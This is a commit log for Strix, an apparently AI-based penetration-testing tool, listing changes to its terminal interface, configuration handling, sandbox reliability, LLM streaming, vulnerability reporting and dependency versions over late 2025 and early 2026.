Compare commits

...
Author SHA1 Message Date
0xallam d7f712581d chore: Bump strix version to 0.6.0 2026-01-12 09:19:19 -08:00
0xallamandClaude Opus 4.5 4818a854d6 feat: modernize TUI status bar with sweep animation
- Replace braille spinner with ping-pong sweep animation using colored squares
- Add smooth gradient fade with 8 color steps from dim to bright green
- Modernize keymap styling: keys in white, actions in dim, separated by ·
- Move "esc stop" to left side next to animation
- Change ctrl-c to ctrl-q for quit
- Simplify "Initializing Agent" to just "Initializing"
- Remove italic styling from status text
- Waiting state shows only "Send message to resume" hint
- Remove unused action verbs and related dead code

Co-Authored-By: Claude Opus 4.5 <noreply@anthropic.com>
2026-01-11 23:54:24 -08:00
0xallamandClaude Opus 4.5 9bcb43e713 fix: correct GitHub repository URL in README
Co-Authored-By: Claude Opus 4.5 <noreply@anthropic.com>
2026-01-10 15:53:10 -08:00
5672925736 docs: document config persistence in README
Co-Authored-By: Claude Opus 4.5 <noreply@anthropic.com>
2026-01-10 15:49:03 -08:00
61c94189c6 fix: allow clearing saved config by setting empty env var
Co-Authored-By: Claude Opus 4.5 <noreply@anthropic.com>
2026-01-10 15:49:03 -08:00
f539e5aafd fix: apply saved config at module level before strix imports
Co-Authored-By: Claude Opus 4.5 <noreply@anthropic.com>
2026-01-10 15:49:03 -08:00
1ffeedcf55 fix: handle chmod failure on Windows gracefully
Co-Authored-By: Claude Opus 4.5 <noreply@anthropic.com>
2026-01-10 15:49:03 -08:00
c059f47d01 refactor: add explicit STRIX_IMAGE validation
Co-Authored-By: Claude Opus 4.5 <noreply@anthropic.com>
2026-01-10 15:49:03 -08:00
7dab26cdd5 refactor: remove unused LLMRequestQueue constructor params
Co-Authored-By: Claude Opus 4.5 <noreply@anthropic.com>
2026-01-10 15:49:03 -08:00
498032e279 refactor: replace type ignores with inline fallbacks
Co-Authored-By: Claude Opus 4.5 <noreply@anthropic.com>
2026-01-10 15:49:03 -08:00
b80bb165b9 refactor: use Config.get() in validate_environment()
Co-Authored-By: Claude Opus 4.5 <noreply@anthropic.com>
2026-01-10 15:49:03 -08:00
fe456d57fe fix: set restrictive permissions on config file
Co-Authored-By: Claude Opus 4.5 <noreply@anthropic.com>
2026-01-10 15:49:03 -08:00
13e804b7e3 refactor: remove STRIX_IMAGE constant, use Config.get() instead
Co-Authored-By: Claude Opus 4.5 <noreply@anthropic.com>
2026-01-10 15:49:03 -08:00
0xallamandAhmed Allam 2e3dc0d276 fix: remove default for strix_llm, keep it required 2026-01-10 15:49:03 -08:00
83efe3816f feat: add centralized Config class with auto-save to ~/.strix/cli-config.json
- Add Config class with all env var defaults in one place
- Auto-load saved config on startup (env vars take precedence)
- Auto-save config after successful LLM warm-up
- Replace scattered os.getenv() calls with Config.get()

Co-Authored-By: Claude Opus 4.5 <noreply@anthropic.com>
2026-01-10 15:49:03 -08:00
0xallamandClaude Opus 4.5 52aa763d47 fix: add missing 'low' value to reasoning effort options
Co-Authored-By: Claude Opus 4.5 <noreply@anthropic.com>
2026-01-09 20:17:46 -08:00
Ahmed Allamandgreptile-apps[bot] <165735046+greptile-apps[bot]@users.noreply.github.com> d932602a6b Update args in strix/interface/main.py
Co-authored-by: greptile-apps[bot] <165735046+greptile-apps[bot]@users.noreply.github.com>
2026-01-09 20:00:01 -08:00
6f4ca95338 feat: add STRIX_REASONING_EFFORT env var to control thinking effort
- Add configurable reasoning effort via environment variable
- Default to "high", but use "medium" for quick scan mode
- Document in README and interface error panel

Co-Authored-By: Claude Opus 4.5 <noreply@anthropic.com>
2026-01-09 20:00:01 -08:00
0xallam fb6f6295c5 docs: reformat recommended models as bulleted list 2026-01-09 16:49:16 -08:00
0xallam f56f56a7f7 docs: add Gemini 3 Pro Preview to recommended models 2026-01-09 16:47:33 -08:00
0xallamandAhmed Allam 86a687ede8 fix: restrict result type check to dict or str 2026-01-09 16:44:05 -08:00
0xallamandAhmed Allam 7b7ea59a37 fix: handle string results in tool renderers
Previously, tool renderers assumed result was always a dict and would
crash with AttributeError when result was a string (e.g., error messages).
Now all renderers properly check for string results and display them.
2026-01-09 16:44:05 -08:00
Daniel SangorrinandAhmed Allam 226678f3f2 fix: add thinking blocks 2026-01-09 15:40:21 -08:00
Ahmed AllamandGitHub 49421f50d5 Remove title from README 2026-01-10 02:35:20 +04:00
0xallamandAhmed Allam b6b0778956 Simplify stats panel display format 2026-01-09 14:25:00 -08:00
0xallamandAhmed Allam 4a58226c9a Modernize vulnerability detail dialog styling 2026-01-09 14:25:00 -08:00
0xallam 94bb97143e Add PostHog integration for analytics and error debugging 2026-01-09 14:24:04 -08:00
dependabot[bot]andAhmed Allam bcd6b8a715 chore(deps): bump pypdf from 6.4.0 to 6.6.0
Bumps [pypdf](https://github.com/py-pdf/pypdf) from 6.4.0 to 6.6.0.
- [Release notes](https://github.com/py-pdf/pypdf/releases)
- [Changelog](https://github.com/py-pdf/pypdf/blob/main/CHANGELOG.md)
- [Commits](https://github.com/py-pdf/pypdf/compare/6.4.0...6.6.0)

---
updated-dependencies:
- dependency-name: pypdf
  dependency-version: 6.6.0
  dependency-type: indirect
...

Signed-off-by: dependabot[bot] <support@github.com>
2026-01-09 12:28:41 -08:00
0xallam c53a0f6b64 fix: reduce spacing between consecutive tool calls in TUI 2026-01-08 17:53:16 -08:00
0xallamandAhmed Allam dc5043452e fix: use fixed per-request timeout for tool server health checks
The previous implementation divided total timeout by retries, making the
timeout behavior confusing and the actual wait time unpredictable. Now
uses a consistent 5-second timeout per request for clearer semantics.
2026-01-08 17:41:44 -08:00
0xallamandAhmed Allam 13ba8746dd feat: add tool server health check and show error details in CLI
- Add _wait_for_tool_server_health() to verify tool server is responding after init
- Show error details in CLI mode when penetration test fails
- Simplify error message (remove technical URL details)
2026-01-08 17:41:44 -08:00
0xallamandAhmed Allam a31ed36778 feat: add tool server health check during sandbox initialization
- Add _wait_for_tool_server_health() method with retry logic and exponential backoff
- Check tool server /health endpoint after container initialization
- Add async _verify_tool_server_health() for health check when reusing containers
- Raise SandboxInitializationError with helpful message if tool server is not responding
- Add TOOL_SERVER_HEALTH_TIMEOUT and TOOL_SERVER_HEALTH_RETRIES constants
2026-01-08 17:41:44 -08:00
0xallamandAhmed Allam 740fb3ed40 fix: add timeout handling for Docker operations and improve error messages
- Add SandboxInitializationError exception for sandbox/Docker failures
- Add 60-second timeout to Docker client initialization
- Add _exec_run_with_timeout() method using ThreadPoolExecutor for exec_run calls
- Catch ConnectionError and Timeout exceptions from requests library
- Add _handle_sandbox_error() and _handle_llm_error() methods in base_agent.py
- Handle sandbox_error_details tool in TUI for displaying errors
- Increase TUI truncation limits for better error visibility
- Update all Docker error messages with helpful hint:
  'Please ensure Docker Desktop is installed and running, and try running strix again.'
2026-01-08 17:41:44 -08:00
0xallamandAhmed Allam c327ce621f Remove --run-name CLI argument 2026-01-08 15:16:25 -08:00
0xallamandAhmed Allam e8662fbda9 Add background styling to finish and reporting tool renderers
- Wrap finish_scan and create_vulnerability_report tool output in Padding with dark grey background (#141414)
- Refactor TUI rendering to support heterogeneous renderables (Text, Padding, Group) instead of just Text
- Update _render_streaming_content and _render_tool_content_simple to return Any renderable type
- Handle interrupted messages by composing with Group instead of appending to Text
2026-01-08 15:09:10 -08:00
0xallamandAhmed Allam cdf3cca3b7 fix(tui): hide cost in stats panel when zero 2026-01-08 12:21:18 -08:00
0xallamandAhmed Allam 0159d431ea fix(tui): rename 'Tokens' to 'Total Tokens' in stats display 2026-01-08 12:21:18 -08:00
0xallamandAhmed Allam bf04b304e6 fix(tui): compare vulnerability content instead of just count for updates 2026-01-08 12:21:18 -08:00
0xallamandAhmed Allam a1d7c0f810 fix(tui): use consistent severity colors between vulnerability components 2026-01-08 12:21:18 -08:00
0xallamandAhmed Allam 47e07c8a04 feat(tui): add vulnerability detail dialog with markdown copy support
- Add VulnerabilityDetailScreen modal with full vulnerability details
- Add Copy button that exports report as markdown to clipboard
- Add VulnerabilitiesPanel in sidebar showing found vulnerabilities
- Add clickable VulnerabilityItem widgets with severity-colored dots
- ESC key closes modal dialogs
- Remove emojis from TUI stats panel for cleaner display
- Add build_tui_stats_text() for minimal TUI-specific stats
2026-01-08 12:21:18 -08:00
0xallam ea31e0cc9d fix(llm): suppress RuntimeWarnings for unawaited coroutines from asyncio 2026-01-07 20:09:46 -08:00
0xallam 9bb8475e2f refactor(cli): remove final statistics display from CLI output 2026-01-07 19:53:40 -08:00
0xallam a09d2795e2 feat(reporting): improve vulnerability display and reporting format 2026-01-07 19:51:41 -08:00
0xallamandAhmed Allam 17ee6e6e6f chore: increase truncation limit to 8000 chars 2026-01-07 19:32:45 -08:00
0xallamandAhmed Allam 01ae348da8 feat(reporting): add LLM-based vulnerability deduplication
- Add dedupe.py with XML-based LLM deduplication using direct litellm calls
- Integrate deduplication check in create_vulnerability_report tool
- Add get_existing_vulnerabilities() method to tracer for fetching reports
- Update schema and system prompt with deduplication guidelines
2026-01-07 19:32:45 -08:00
dependabot[bot]andAhmed Allam 0e9cd9b2a4 chore(deps): bump urllib3 from 2.6.0 to 2.6.3
Bumps [urllib3](https://github.com/urllib3/urllib3) from 2.6.0 to 2.6.3.
- [Release notes](https://github.com/urllib3/urllib3/releases)
- [Changelog](https://github.com/urllib3/urllib3/blob/main/CHANGES.rst)
- [Commits](https://github.com/urllib3/urllib3/compare/2.6.0...2.6.3)

---
updated-dependencies:
- dependency-name: urllib3
  dependency-version: 2.6.3
  dependency-type: indirect
...

Signed-off-by: dependabot[bot] <support@github.com>
2026-01-07 19:25:31 -08:00
0xallamandAhmed Allam 2ea5ff6695 feat(reporting): enhance vulnerability reporting with detailed fields and CVSS calculation 2026-01-07 17:50:32 -08:00
0xallamandAhmed Allam 06659d98ba feat: enable container access to host localhost services
Rewrite localhost/127.x.x.x/0.0.0.0 target URLs to use host.docker.internal,
allowing the container to reach services running on the host machine.

- Add extra_hosts mapping for host.docker.internal on Linux
- Add HOST_GATEWAY env var to container
- Add rewrite_localhost_targets() to transform localhost URLs
- Support full 127.0.0.0/8 loopback range and IPv6 ::1
2026-01-07 12:04:21 -08:00
0xallam 7af1180a30 Refactor(skills): rename prompt modules to skills and update documentation 2026-01-06 17:50:15 -08:00
0xallamandAhmed Allam f48def1f9e refactor(tui): remove flawed streaming update throttling
The length-based hash was prone to collisions and could miss
content changes. Simplified to always update during streaming.
2026-01-06 16:44:22 -08:00
0xallamandAhmed Allam af8eeef4ac feat(tui): display agent vulnerability count in TUI 2026-01-06 16:44:22 -08:00
0xallamandAhmed Allam 16c9b05121 feat(tui): enhance spinner animations and update renderer styles 2026-01-06 16:44:22 -08:00
0xallamandAhmed Allam 6422bfa0b4 feat(tui): show tool output in terminal and python renderers
- Terminal renderer now displays command output with smart filtering
- Strips PS1 prompts, command echoes, and hardcoded status messages
- Python renderer now shows stdout/stderr from execution results
- Both renderers support line truncation (50 lines max, 200 chars/line)
- Removed smart coloring in favor of consistent dim styling
- Added proper error and exit code display
2026-01-06 16:44:22 -08:00
0xallamandAhmed Allam dd7767c847 feat(tui): enhance streaming content handling and animation efficiency 2026-01-06 16:44:22 -08:00
0xallamandAhmed Allam 2777ae3fe8 refactor(llm): streamline reasoning effort handling and remove unused patterns 2026-01-06 16:44:22 -08:00
0xallamandAhmed Allam 45bb0ae8d8 fix(llm): update logging configuration for asyncio 2026-01-06 16:44:22 -08:00
0xallamandAhmed Allam 67cfe994be feat(tui): implement request and response content truncation for improved readability 2026-01-06 16:44:22 -08:00
0xallamandAhmed Allam 878d6ebf57 refactor(tui): improve agent node expansion handling and add tree node selection functionality 2026-01-06 16:44:22 -08:00
0xallamandAhmed Allam 48fb48dba3 feat(agent): implement user interruption handling in agent execution 2026-01-06 16:44:22 -08:00
0xallamandAhmed Allam 0954ac208f fix(llm): add streaming retry with exponential backoff
- Retry failed streams up to 3 times with exp backoff (8s min, 64s max)
- Reset chunks on failure and retry full request
- Use litellm._should_retry() for retryable error detection
- Switch to async acompletion() for streaming
- Refactor generate() into smaller focused methods
2026-01-06 16:44:22 -08:00
0xallamandAhmed Allam a6dcb7756e feat(tui): add real-time streaming LLM output with full content display
- Convert LiteLLM requests to streaming mode with stream_request()
- Add streaming parser to handle live LLM output segments
- Update TUI for real-time streaming content rendering
- Add tracer methods for streaming content tracking
- Clean function tags from streamed content to prevent display
- Remove all truncation from tool renderers for full content visibility
2026-01-06 16:44:22 -08:00
0xallamandAhmed Allam a2142cc985 feat(tui): refactor TUI components for improved text rendering and styling
- Removed unused escape_markup function and integrated rich.text for better text handling.
- Updated various renderers to utilize Text for consistent styling and formatting.
- Enhanced chat and agent message displays with dynamic text features.
- Improved error handling and display for various tool components.
- Refined TUI styles for better visual consistency across components.
2026-01-06 16:44:22 -08:00
0xallamandAhmed Allam 7bcdedfb18 feat(tui): enhance splash screen and agent status display
- Reduced animation timer for splash screen to improve responsiveness.
- Added URL display to the splash screen.
- Improved start line animation with dynamic character styling.
- Updated agent status display to show "Initializing Agent" when no real activity is detected.
- Enhanced waiting and animated verb text with dynamic styling.
- Implemented sidebar visibility toggle based on window size.
- Updated live stats to include model information from agent configuration.
- Refined TUI styles for better visual consistency.
2026-01-06 16:44:22 -08:00
0xallamandAhmed Allam e6ddcb1801 feat(tui): add multiline chat input with dynamic height
- Support Shift+Enter to insert newlines in chat input
- Chat input container expands dynamically up to 8 lines
- Enter key sends message as before
- Fix cursor line background to match unselected lines
2026-01-06 16:44:22 -08:00
dependabot[bot]andAhmed Allam daba3d8b61 chore(deps): bump pynacl from 1.5.0 to 1.6.2
Bumps [pynacl](https://github.com/pyca/pynacl) from 1.5.0 to 1.6.2.
- [Changelog](https://github.com/pyca/pynacl/blob/main/CHANGELOG.rst)
- [Commits](https://github.com/pyca/pynacl/compare/1.5.0...1.6.2)

---
updated-dependencies:
- dependency-name: pynacl
  dependency-version: 1.6.2
  dependency-type: indirect
...

Signed-off-by: dependabot[bot] <support@github.com>
2026-01-06 15:47:36 -08:00
dependabot[bot]andAhmed Allam e6c1aae38d chore(deps): bump aiohttp from 3.12.15 to 3.13.3
---
updated-dependencies:
- dependency-name: aiohttp
  dependency-version: 3.13.3
  dependency-type: indirect
...

Signed-off-by: dependabot[bot] <support@github.com>
2026-01-05 18:06:30 -08:00
Hongchao MaandAhmed Allam 1089aab89e libasound2 being a virtual package in newer Kali/Debian. Replace it with libasound2t64. 2026-01-05 12:06:31 -08:00
0xallam 706bb193c0 chore: update website links to strix.ai 2026-01-03 17:58:34 -08:00
0xallam 2ba1d0fe59 docs: add documentation links to README 2026-01-03 17:56:35 -08:00
Ahmed AllamandGitHub 8b0bb521ba Update link in README 2026-01-03 08:28:03 +04:00
ahmedandAhmed Allam a90082bc53 feat(prompts): enhance Next.js framework module with reconnaissance techniques
- Add route enumeration section with __BUILD_MANIFEST.sortedPages technique
  - Add environment variable leakage detection (NEXT_PUBLIC_ prefix)
  - Add data fetching over-exposure section for __NEXT_DATA__ inspection
  - Add API route path normalization bypass techniques
2026-01-02 15:35:52 -08:00
Vincent550102andAhmed Allam 6fc592b4e8 fix: Convert dictionary views to lists for stable iteration over agents and tool executions. 2026-01-02 14:17:32 -08:00
Vincent550102andAhmed Allam 62cca3f149 fix: convert tool_executions.items() to list for stable iteration 2026-01-02 14:17:32 -08:00
Ahmed AllamandGitHub f25cf9b23d Remove PyPI Downloads badge from readme 2026-01-01 23:27:00 +04:00
dependabot[bot]andAhmed Allam 2472d590d5 chore(deps): bump filelock from 3.19.1 to 3.20.1
Bumps [filelock](https://github.com/tox-dev/py-filelock) from 3.19.1 to 3.20.1.
- [Release notes](https://github.com/tox-dev/py-filelock/releases)
- [Changelog](https://github.com/tox-dev/filelock/blob/main/docs/changelog.rst)
- [Commits](https://github.com/tox-dev/py-filelock/compare/3.19.1...3.20.1)

---
updated-dependencies:
- dependency-name: filelock
  dependency-version: 3.20.1
  dependency-type: indirect
...

Signed-off-by: dependabot[bot] <support@github.com>
2025-12-16 15:13:22 -08:00
0xallam 78b6c26652 enhance todo tool prompt 2025-12-15 10:26:59 -08:00
0xallam d649a7c70b Update README.md 2025-12-15 10:11:08 -08:00
0xallamandAhmed Allam d96852de55 chore: bump version to 0.5.0 2025-12-15 08:21:03 -08:00
0xallamandAhmed Allam eb0c52b720 feat: add PyInstaller build for standalone binary distribution
- Add PyInstaller spec file and build script for creating standalone executables
- Add install.sh for curl | sh installation from GitHub releases
- Add GitHub Actions workflow for multi-platform builds (macOS, Linux, Windows)
- Move sandbox-only deps (playwright, ipython, libtmux, etc.) to optional extras
- Make google-cloud-aiplatform optional ([vertex] extra) to reduce binary size
- Use lazy imports in tool actions to avoid loading sandbox deps at startup
- Add -v/--version flag to CLI
- Add website and Discord links to completion message
- Binary size: ~97MB (down from ~120MB with all deps)
2025-12-15 08:21:03 -08:00
0xallam 2899021a21 chore(todo): encourage batched todo operations
Strengthen schema guidance to batch todo creation, status updates, and completions while reducing unnecessary list refreshes to cut tool-call volume.
2025-12-15 07:41:33 -08:00
Ahmed AllamandGitHub 0fcd5c46b2 Fix badge in README.md 2025-12-15 19:39:47 +04:00
0xallam dcf77b31fc chore(tools): raise sandbox execution timeout
Increase default sandbox tool execution timeout from 120s to 500s while keeping connect timeout unchanged.
2025-12-14 20:40:00 -08:00
0xallamandAhmed Allam 37c8cffbe3 feat(tools): add bulk operations support to todo tools
- update_todo: add `updates` param for bulk updates in one call
- mark_todo_done: add `todo_ids` param to mark multiple todos done
- mark_todo_pending: add `todo_ids` param to mark multiple pending
- delete_todo: add `todo_ids` param to delete multiple todos
- Increase todo renderer display limit from 10 to 25
- Maintains backward compatibility with single-ID usage
- Update prompts to keep todos short-horizon and dynamic
2025-12-14 20:31:33 -08:00
0xallamandAhmed Allam c29f13fd69 feat: add --scan-mode CLI option with quick/standard/deep modes
Introduces scan mode selection to control testing depth and methodology:
- quick: optimized for CI/CD, focuses on recent changes and high-impact vulns
- standard: balanced coverage with systematic methodology
- deep: exhaustive testing with hierarchical agent swarm (now default)

Each mode has dedicated prompt modules with detailed pentesting guidelines
covering reconnaissance, mapping, business logic analysis, exploitation,
and vulnerability chaining strategies.

Closes #152
2025-12-14 19:13:08 -08:00
5c995628bf Feat: added support for non vision models STRIX_DISABLE_BROWSER flag (#188)
Co-authored-by: 0xallam <ahmed39652003@gmail.com>
2025-12-14 23:45:43 +04:00
Ahmed AllamandGitHub 624f1ed77f feat(tui): add markdown rendering for agent messages (#197)
Add AgentMessageRenderer to render agent messages with basic markdown support:
- Headers (#, ##, ###, ####)
- Bold (**text**) and italic (*text*)
- Inline code and fenced code blocks
- Links [text](url) and strikethrough

Update system prompt to allow agents to use simple markdown formatting.
2025-12-14 22:53:07 +04:00
Ahmed AllamandGitHub 2b926c733b feat(tools): add dedicated todo tool for agent task tracking (#196)
- Add new todo tool with create, list, update, mark_done, mark_pending, delete actions
- Each subagent has isolated todo storage keyed by agent_id
- Support bulk todo creation via JSON array or bullet list
- Add TUI renderers for all todo actions with status markers
- Update notes tool to remove priority and todo-related functionality
- Add task tracking guidance to StrixAgent system prompt
- Fix instruction file error handling in CLI
2025-12-14 22:16:02 +04:00
Ahmed AllamandGitHub a075ea1a0a feat(tui): add syntax highlighting for tool renderers (#195)
Add Pygments-based syntax highlighting with native hacker theme:
- Python renderer: Python code highlighting
- Browser renderer: JavaScript code highlighting
- Terminal renderer: Bash command highlighting
- File edit renderer: Auto-detect language from file extension, diff-style display
2025-12-14 04:39:28 +04:00
0xallam 5e3d14a1eb chore: add Python 3.13 and 3.14 classifiers 2025-12-13 11:20:30 -08:00
Ahmed AllamandGitHub e57b7238f6 Update README to remove duplicate demo image 2025-12-12 21:59:16 +04:00
Ahmed AllamandGitHub 13fe87d428 Add DeepWiki docs for Strix 2025-12-12 21:58:28 +04:00
K0INandGitHub 3e5845a0e1 Update GitHub Actions checkout action version (#189) 2025-12-11 22:24:20 +04:00
Alexander De Battista KvammeandGitHub 9fedcf1551 Fix/ Long text instruction causes crash (#184) 2025-12-08 23:23:51 +04:00
0xallam 1edd8eda01 fix: lint errors and code style improvements 2025-12-07 17:54:32 +02:00
0xallam d8cb21bea3 chore: bump version to 0.4.1 2025-12-07 15:13:45 +02:00
0xallamandAhmed Allam bd8d927f34 fix: add timeout to sandbox tool execution HTTP calls
Replace timeout=None with configurable timeouts (120s execution, 10s connect)
to prevent hung sandbox connections from blocking indefinitely.

Configurable via STRIX_SANDBOX_EXECUTION_TIMEOUT and STRIX_SANDBOX_CONNECT_TIMEOUT
environment variables.
2025-12-07 17:07:25 +04:00
0xallamandAhmed Allam fc267564f5 chore: add google-cloud-aiplatform dependency
Adds support for Vertex AI models via the google-cloud-aiplatform SDK.
2025-12-07 04:11:37 +04:00
0xallam 37c9b4b0e0 fix: make LLM_API_KEY optional for all providers
Some providers like Vertex AI, AWS Bedrock, and local models don't
require an API key as they use different authentication mechanisms.
2025-12-07 02:07:28 +02:00
0xallamandAhmed Allam 208b31a570 fix: filter out image_url content for non-vision models 2025-12-07 02:13:02 +04:00
Ahmed AllamandAhmed Allam a14cb41745 chore: Bump litellm version 2025-12-07 01:38:21 +04:00
0xallamandAhmed Allam 4297c8f6e4 fix: pass api_key directly to litellm completion calls 2025-12-07 01:38:21 +04:00
0xallamandAhmed Allam 286d53384a fix: set LITELLM_API_KEY env var for unified API key support 2025-12-07 01:38:21 +04:00
0xallam ab40dbc33a fix: improve request queue reliability and reduce stuck requests 2025-12-06 20:44:48 +02:00
dependabot[bot]andAhmed Allam b6cb1302ce chore(deps): bump urllib3 from 2.5.0 to 2.6.0
Bumps [urllib3](https://github.com/urllib3/urllib3) from 2.5.0 to 2.6.0.
- [Release notes](https://github.com/urllib3/urllib3/releases)
- [Changelog](https://github.com/urllib3/urllib3/blob/main/CHANGES.rst)
- [Commits](https://github.com/urllib3/urllib3/compare/2.5.0...2.6.0)

---
updated-dependencies:
- dependency-name: urllib3
  dependency-version: 2.6.0
  dependency-type: indirect
...

Signed-off-by: dependabot[bot] <support@github.com>
2025-12-06 16:23:55 +04:00
Ahmed AllamandGitHub b74132b2dc Update README.md 2025-12-03 20:09:22 +00:00
Ahmed AllamandAhmed Allam 35dd9d0a8f refactor(tests): reorganize unit tests module structure 2025-12-04 00:02:14 +04:00
Ahmed AllamandAhmed Allam 6c5c0b0d1c chore: resolve linting errors in test modules 2025-12-04 00:02:14 +04:00
Jeong-RyeolandAhmed Allam 65c3383ecc test: add initial unit tests for argument_parser module
Add comprehensive test suite for the argument_parser module including:
- Tests for _convert_to_bool with truthy/falsy values
- Tests for _convert_to_list with JSON and comma-separated inputs
- Tests for _convert_to_dict with valid/invalid JSON
- Tests for convert_string_to_type with various type annotations
- Tests for convert_arguments with typed functions
- Tests for ArgumentConversionError exception class

This establishes the foundation for the project's test infrastructure
with pytest configuration already in place.
2025-12-04 00:02:14 +04:00
919cb5e248 docs: add file-based instruction example (#165)
Co-authored-by: 0xallam <ahmed39652003@gmail.com>
2025-12-03 22:59:59 +04:00
c97ff94617 feat: Show Model Name in Live Stats Panel (#169)
Co-authored-by: Ahmed Allam <ahmed39652003@gmail.com>
2025-12-03 18:45:01 +00:00
dependabot[bot]GitHubdependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
53c9da9213 chore(deps): bump cryptography from 43.0.3 to 44.0.1 (#163)
Bumps [cryptography](https://github.com/pyca/cryptography) from 43.0.3 to 44.0.1.
- [Changelog](https://github.com/pyca/cryptography/blob/main/CHANGELOG.rst)
- [Commits](https://github.com/pyca/cryptography/compare/43.0.3...44.0.1)

---
updated-dependencies:
- dependency-name: cryptography
  dependency-version: 44.0.1
  dependency-type: indirect
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2025-12-02 21:44:35 +04:00
dependabot[bot]GitHubdependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
1e189c1245 chore(deps): bump fonttools from 4.59.1 to 4.61.0 (#161)
Bumps [fonttools](https://github.com/fonttools/fonttools) from 4.59.1 to 4.61.0.
- [Release notes](https://github.com/fonttools/fonttools/releases)
- [Changelog](https://github.com/fonttools/fonttools/blob/main/NEWS.rst)
- [Commits](https://github.com/fonttools/fonttools/compare/4.59.1...4.61.0)

---
updated-dependencies:
- dependency-name: fonttools
  dependency-version: 4.61.0
  dependency-type: indirect
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2025-12-02 19:23:56 +04:00
Ahmed AllamandGitHub 62f804b8b5 Update link in README 2025-12-01 16:04:46 +04:00
Ahmed AllamandGitHub 5ff10e9d20 Add acknowledgements in README 2025-11-29 19:27:30 +04:00
Ahmed Allam 9825fb46ec chore: Bump version for 0.4.0 release 2025-11-25 20:18:44 +04:00
c0e547928e Real-time display panel for agent stats (#134)
Co-authored-by: Ahmed Allam <ahmed39652003@gmail.com>
2025-11-25 12:06:20 +00:00
78d0148d58 Add open redirect, subdomain takeover, and info disclosure prompt modules (#132)
Co-authored-by: Ahmed Allam <ahmed39652003@gmail.com>
2025-11-25 10:32:55 +00:00
dependabot[bot]andAhmed Allam eebb76de3b chore(deps): bump pypdf from 6.1.3 to 6.4.0
Bumps [pypdf](https://github.com/py-pdf/pypdf) from 6.1.3 to 6.4.0.
- [Release notes](https://github.com/py-pdf/pypdf/releases)
- [Changelog](https://github.com/py-pdf/pypdf/blob/main/CHANGELOG.md)
- [Commits](https://github.com/py-pdf/pypdf/compare/6.1.3...6.4.0)

---
updated-dependencies:
- dependency-name: pypdf
  dependency-version: 6.4.0
  dependency-type: indirect
...

Signed-off-by: dependabot[bot] <support@github.com>
2025-11-25 12:44:38 +04:00
Ahmed AllamandGitHub 2ae1b3ddd1 Update README 2025-11-23 22:29:44 +04:00
Ahmed AllamandAhmed Allam a11cd09a93 feat: support file-based instructions for detailed test configuration 2025-11-23 00:46:37 +04:00
Ahmed AllamandAhmed Allam 68ebdb2b6d feat: enhance run name generation to include target information 2025-11-22 22:54:07 +04:00
Ahmed AllamandAhmed Allam 5befb32318 feat: implement incremental pentest data persistence 2025-11-22 22:54:07 +04:00
86e6ed49bb feat(llm): make LLM request queue rate limits configurable and more conservative
Co-authored-by: Ahmed Allam <ahmed39652003@gmail.com>
2025-11-22 17:07:43 +00:00
Ahmed Allam 0c811845f1 docs: update README 2025-11-21 23:07:11 +04:00
Ahmed Allam 383d53c7a9 feat(agent): implement agent identity guidline and improve system prompt 2025-11-15 16:21:05 +04:00
Ahmed Allam 478bf5d4d3 refactor(llm): remove unused temperature parameter from LLMConfig 2025-11-15 12:44:40 +04:00
Ahmed Allam d1f7741965 feat(llm): enhance model features handling with pattern matching 2025-11-15 12:43:43 +04:00
Ahmed Allam 821929cd3e fix(agent): increase waiting time threshold from 120 to 600 seconds 2025-11-15 12:39:46 +04:00
Ahmed Allam 5de16d2953 chore: Bump LiteLLM version 2025-11-15 12:37:22 +04:00
Ahmed AllamandGitHub 6a2a62c121 chore: Fix formatting in README.md 2025-11-14 16:07:54 +00:00
Ahmed AllamandAhmed Allam 426dd27454 chore: Minor readme tweaks. Bump version for 0.3.4 release 2025-11-14 20:02:48 +04:00
Mark PercivalandAhmed Allam cedc65409e fix: link 2025-11-14 20:02:48 +04:00
Mark PercivalandAhmed Allam 72d5a73386 Chore: Update README 2025-11-14 20:02:48 +04:00
Ahmed AllamandAhmed Allam dab69af033 fix(runtime): correct DOCKER_HOST parsing for sandbox URL 2025-11-14 02:41:00 +04:00
Ahmed AllamandAhmed Allam 6abb53dc02 feat: support scanning IP addresses 2025-11-14 01:38:58 +04:00
Ahmed AllamandGitHub f1d2961779 Update README 2025-11-12 19:29:01 +04:00
purpl3horseandAhmed Allam 2b7a8e3ee7 Update README.md
Instruction argument was written in plural in the readme ( a typo )
2025-11-12 19:03:27 +04:00
Ahmed AllamandAhmed Allam 3e7466a533 chore: Bump version for 0.3.3 release 2025-11-12 18:58:03 +04:00
Ahmed AllamandAhmed Allam 1abfb360e4 feat: add configurable timeout for LLM requests 2025-11-12 18:58:03 +04:00
Ahmed Allam 795ed02955 docs: update README with recommended models 2025-11-12 15:01:15 +04:00
Alexei Macheret ArturGitHubdependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2cb0c31897 chore(deps): bump starlette from 0.46.2 to 0.49.1 (#75)
Bumps [starlette](https://github.com/Kludex/starlette) from 0.46.2 to 0.49.1.
- [Release notes](https://github.com/Kludex/starlette/releases)
- [Changelog](https://github.com/Kludex/starlette/blob/main/docs/release-notes.md)
- [Commits](https://github.com/Kludex/starlette/compare/0.46.2...0.49.1)

---
updated-dependencies:
- dependency-name: starlette
  dependency-version: 0.49.1
  dependency-type: indirect
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2025-11-10 14:19:18 +04:00
1c8780cf81 Update Readme
Co-authored-by: m4ki3lf0 <m4ki3lf0@git.com>
Co-authored-by: Ahmed Allam <ahmed39652003@gmail.com>
2025-11-10 09:49:37 +00:00
Ahmed AllamandGitHub b6d9d941cf Update README 2025-11-08 15:07:53 +04:00
Ahmed Allam edd628bbc1 Chore: fix discord link in readme 2025-11-07 18:03:47 +04:00
Ahmed AllamandAhmed Allam d76c7c55b2 Fix: update litellm dependency version 2025-11-05 12:40:44 +02:00
Ahmed AllamandAhmed Allam b5ddba3867 docs: Update README 2025-11-05 01:21:48 +02:00
Ahmed Allam 2763998821 chore: Bump version for new release 2025-11-01 04:04:33 +02:00
Ahmed Allam 6a84ea94fa feat: add error handling for headless mode in agent execution and improve CLI on scan failures 2025-11-01 03:29:44 +02:00
